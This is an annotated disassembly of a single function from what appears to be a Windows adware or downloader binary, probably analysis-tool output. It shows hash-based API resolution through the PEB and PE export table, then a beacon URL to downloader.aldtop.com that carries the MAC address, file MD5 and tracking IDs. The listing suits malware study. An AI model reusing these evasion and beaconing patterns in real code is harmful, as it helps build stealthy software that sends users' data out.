Function at 0x4797a0
Capabilities:
Access peb ldr_data
Hash data using fnv
Hash data with md5
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5fd84c
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x860
mov eax, dword [0x672494]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x82c], edi
mov eax, dword [ebx + 8]
push 0xb0
mov dword [ebp - 0x83c], eax
mov dword [ebp - 0x830], eax
lea eax, [ebp - 0x828]
push 0
push eax
call fcn.0056c1d0
add esp, 4
lea ecx, [ebp - 0x828]
call fcn.004136d0
lea eax, [edi + 0x3c]
mov dword [ebp - 4], 0
mov edx, str.http:__downloader.aldtop.com_client_ad_
mov dword [ebp - 0x830], eax
lea ecx, [ebp - 0x818]
lea esi, [edi + 0x64c]
call fcn.00415120
lea edx, [edi + 0x3c]
mov ecx, eax
call fcn.00415120
mov edx, str._winver
mov ecx, eax
call fcn.00415120
cmp dword [esi + 0x14], 8
mov ecx, dword [esi + 0x10]
jb 0x479860
mov esi, dword [esi]
push ecx
mov edx, esi
mov ecx, eax
call fcn.00416150
add esp, 4
mov edx, str.sdsoft
push dword [edi + 4]
push ecx
lea ecx, [ebp - 0x818]
call fcn.00415120
add esp, 4
mov ecx, eax
call fcn.004846d0
push dword [edi + 0x648]
mov esi, dword [ebp - 0x82c]
lea eax, [edi + 0x5f8]
mov edx, str.webid
mov dword [ebp - 0x834], eax
lea ecx, [ebp - 0x818]
call fcn.00415120
mov edx, dword [ebp - 0x830]
mov ecx, eax
call fcn.00415120
mov edx, str.channelid
mov ecx, eax
call fcn.00415120
lea edx, [esi + 0xbc]
mov ecx, eax
call fcn.00415120
mov edx, str.softid
mov ecx, eax
call fcn.00415120
lea edx, [edi + 0x7c]
mov ecx, eax
call fcn.00415120
mov edx, str.ver
mov ecx, eax
call fcn.00415120
mov edx, str.5.7.5.34
mov ecx, eax
call fcn.00415120
push ecx
mov edx, str.usesnum
mov ecx, eax
call fcn.00415120
add esp, 4
mov ecx, eax
call fcn.004846d0
mov edx, str.mac
mov ecx, eax
call fcn.00415120
mov ecx, eax
mov eax, dword [ebp - 0x834]
cmp dword [eax + 0x14], 8
mov edx, dword [eax + 0x10]
jb 0x47993d
mov eax, dword [eax]
push edx
mov edx, eax
call fcn.00416150
mov edx, dword [esi]
add esp, 4
mov ecx, edx
shr ecx, 2
and ecx, 1
mov eax, ecx
or eax, 2
and dl, 1
mov edx, str.filename
cmove eax, ecx
lea ecx, [ebp - 0x818]
push eax
push dword [esi + 0x644]
call fcn.00415120
lea edx, [esi + 0x304]
mov ecx, eax
call fcn.00415120
push ecx
mov edx, str.errcode
mov ecx, eax
call fcn.00415120
add esp, 4
mov ecx, eax
call fcn.004846d0
push ecx
mov edx, str.userev
mov ecx, eax
call fcn.00415120
add esp, 4
mov ecx, eax
call fcn.004846d0
push 3
xor eax, eax
mov dword [ebp - 0x640], 0
push 0x64dde4
lea ecx, [ebp - 0x650]
mov dword [ebp - 0x63c], 7
mov word [ebp - 0x650], ax
call fcn.00417d60
push 1
push str.General
mov byte [ebp - 4], 1
call fcn.0047f920
test eax, eax
jne 0x479a04
push 3
push 0x64ddec
lea ecx, [ebp - 0x650]
call fcn.00417d60
push 0x208
lea eax, [ebp - 0x220]
push 0
push eax
call fcn.0056c1d0
mov eax, dword fs:[0x30]
add esp, 0xc
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
movzx ecx, word [eax + 0x2c]
mov edi, 0x811c9dc5
mov esi, dword [eax + 0x30]
and ecx, 0xfffffffe
mov dword [ebp - 0x82c], edi
xor edi, edi
mov dword [ebp - 0x834], eax
lea edx, [ecx + esi]
inc ecx
shr ecx, 1
cmp esi, edx
cmova ecx, edi
mov dword [ebp - 0x830], ecx
test ecx, ecx
je 0x479a9c
mov eax, dword [ebp - 0x82c]
nop
mov dl, byte [esi]
lea ecx, [edx - 0x41]
cmp cl, 0x19
movsx ecx, dl
ja 0x479a70
or ecx, 0x20
xor ecx, eax
inc edi
imul eax, ecx, 0x1000193
add esi, 2
cmp edi, dword [ebp - 0x830]
jne 0x479a60
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x82c], 0xa3e6f6c3
mov eax, dword [ebp - 0x834]
je 0x479aa0
mov eax, dword [eax]
jmp 0x479a26
mov esi, dword [eax + 0x18]
mov eax, dword [0x67f7b8]
mov dword [ebp - 0x830], esi
test eax, eax
jne 0x479b7a
test esi, esi
je 0x479b73
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi + 0x78]
mov eax, dword [eax + esi + 0x7c]
add ecx, esi
mov dword [ebp - 0x834], eax
xor eax, eax
mov dword [ebp - 0x834], ecx
cmp ecx, esi
je 0x479b75
mov dword [ebp - 0x82c], eax
cmp dword [ecx + 0x18], eax
je 0x479b73
mov edi, dword [ecx + 0x20]
add edi, esi
mov edx, dword [edi]
add edx, esi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x479b2f
lea eax, [ecx - 0x41]
cmp al, 0x19
movsx eax, cl
ja 0x479b12
or eax, 0x20
mov cl, byte [edx]
xor eax, esi
imul esi, eax, 0x1000193
inc edx
test cl, cl
jne 0x479b05
cmp esi, 0xeb3e491b
je 0x479b4c
mov eax, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0x834]
inc eax
add edi, 4
mov dword [ebp - 0x82c], eax
cmp eax, dword [ecx + 0x18]
je 0x479b73
mov esi, dword [ebp - 0x830]
jmp 0x479af5
mov eax, dword [ebp - 0x834]
mov esi, dword [ebp - 0x830]
mov edx, dword [ebp - 0x82c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x479b75
xor eax, eax
mov dword [0x67f7b8], eax
push 0x104
lea ecx, [ebp - 0x220]
push ecx
push 0
call eax
xor edi, edi
mov dword [ebp - 0x624], 7
xor eax, eax
mov dword [ebp - 0x628], edi
mov word [ebp - 0x638], ax
push 0xb8
push eax
lea eax, [ebp - 0x708]
mov byte [ebp - 4], 2
push eax
call fcn.0056c1d0
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x708]
call fcn.00422fd0
mov byte [ebp - 4], 3
cmp dword [ebp - 0x6ac], edi
je 0x479d30
push 2
sub esp, 8
lea ecx, [ebp - 0x708]
call fcn.00423dd0
lea eax, [ebp - 0x870]
push eax
lea ecx, [ebp - 0x708]
call fcn.00423cf0
push 0
sub esp, 8
lea ecx, [ebp - 0x708]
mov edi, dword [eax + 8]
add edi, dword [eax]
call fcn.00423dd0
mov eax, dword [ebp - 0x708]
mov byte [ebp - 0x710], 0
mov dword [ebp - 0x764], 0
mov dword [ebp - 0x768], 0
mov dword [ebp - 0x778], 0x67452301
mov dword [ebp - 0x774], 0xefcdab89
mov dword [ebp - 0x770], 0x98badcfe
mov dword [ebp - 0x76c], 0x10325476
mov eax, dword [eax + 4]
mov eax, dword [ebp + eax - 0x6fc]
test al, 6
jne 0x479ccb
test al, 1
jne 0x479cc0
nop
sub esp, 8
lea eax, [ebp - 0x620]
lea ecx, [ebp - 0x708]
push eax
call fcn.004109f0
cmp dword [ebp - 0x6fc], 0
jl 0x479cad
mov eax, dword [ebp - 0x700]
jg 0x479c9a
test eax, eax
je 0x479cad
push eax
lea eax, [ebp - 0x620]
push eax
lea ecx, [ebp - 0x778]
call fcn.0040ff20
mov eax, dword [ebp - 0x708]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x6fc], 1
je 0x479c70
lea ecx, [ebp - 0x708]
call fcn.00410980
lea eax, [ebp - 0x854]
push eax
lea ecx, [ebp - 0x778]
call fcn.00410830
mov esi, eax
lea eax, [ebp - 0x638]
cmp eax, esi
je 0x479d1a
mov ecx, eax
call fcn.0040f8c0
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0x638], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x628], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
lea ecx, [ebp - 0x854]
call fcn.0040f8c0
lea ecx, [ebp - 0x708]
call fcn.00410980
push edi
push ecx
mov edx, str.filesize
lea ecx, [ebp - 0x818]
call fcn.00415120
add esp, 4
mov ecx, eax
call fcn.00484860
mov edx, str.filemd5
mov ecx, eax
call fcn.00415120
cmp dword [ebp - 0x624], 8
lea edx, [ebp - 0x638]
push dword [ebp - 0x628]
cmovae edx, dword [ebp - 0x638]
mov ecx, eax
call fcn.00416150
add esp, 4
push 0
call fcn.00578cfa
add esp, 4
push eax
call fcn.005793d2
add esp, 4
call fcn.005793b1
xor edx, edx
mov ecx, 0x15f8f
div ecx
lea ecx, [ebp - 0x818]
lea esi, [edx + 0x2710]
mov edx, str.sys
call fcn.00415120
cmp dword [ebp - 0x63c], 8
lea edx, [ebp - 0x650]
push dword [ebp - 0x640]
cmovae edx, dword [ebp - 0x650]
mov ecx, eax
call fcn.00416150
add esp, 4
mov edx, str.encry1
mov ecx, eax
push esi
call fcn.00415120
push ecx
mov edx, str.rnd
mov ecx, eax
call fcn.00415120
add esp, 4
mov ecx, eax
call fcn.004137c0
mov esi, dword [ebp - 0x83c]
lea ecx, [ebp - 0x828]
push esi
call fcn.00413610
lea ecx, [ebp - 0x708]
call fcn.00421350
lea ecx, [ebp - 0x638]
call fcn.0040f8c0
lea ecx, [ebp - 0x650]
call fcn.0040f8c0
lea ecx, [ebp - 0x828]
call fcn.00417c40
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004d0a85
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4